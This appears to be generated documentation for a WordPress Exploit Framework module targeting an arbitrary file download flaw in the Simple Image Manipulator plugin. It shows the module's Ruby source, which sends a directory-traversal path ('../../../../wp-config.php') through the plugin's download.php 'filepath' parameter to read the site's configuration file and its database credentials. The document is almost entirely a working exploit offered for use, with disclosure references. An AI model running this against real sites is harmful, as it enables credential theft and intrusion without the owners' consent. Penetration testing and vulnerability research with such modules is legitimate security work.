class Wpxf::Auxiliary::SimpleImageManipulatorArbitraryFileDownload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::FileDownload::new
# File lib/wpxf/modules/auxiliary/file_download/simple_image_manipulator_arbitrary_file_download.rb, line 6 def initialize super update_info( name: 'Simple Image Manipulator Arbitrary File Download', author: [ 'Larry W. Cashdollar', # Disclosure 'rastating' # WPXF module ], references: [ ['WPVDB', '8123'], ['EDB', '37753'], ['URL', 'http://www.vapid.dhs.org/advisory.php?v=147'] ], date: 'Jun 16 2015' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/simple_image_manipulator_arbitrary_file_download.rb, line 24 def check check_plugin_version_from_readme('simple-image-manipulator') end
default_remote_file_path()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/simple_image_manipulator_arbitrary_file_download.rb, line 28 def default_remote_file_path '../../../../wp-config.php' end
download_request_params()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/simple_image_manipulator_arbitrary_file_download.rb, line 40 def download_request_params { 'filepath' => remote_file } end
downloader_url()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/simple_image_manipulator_arbitrary_file_download.rb, line 36 def downloader_url normalize_uri(wordpress_url_plugins, 'simple-image-manipulator', 'controller', 'download.php') end
working_directory()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/simple_image_manipulator_arbitrary_file_download.rb, line 32 def working_directory 'wp-content/plugins/simple-image-manipulator/controller/' end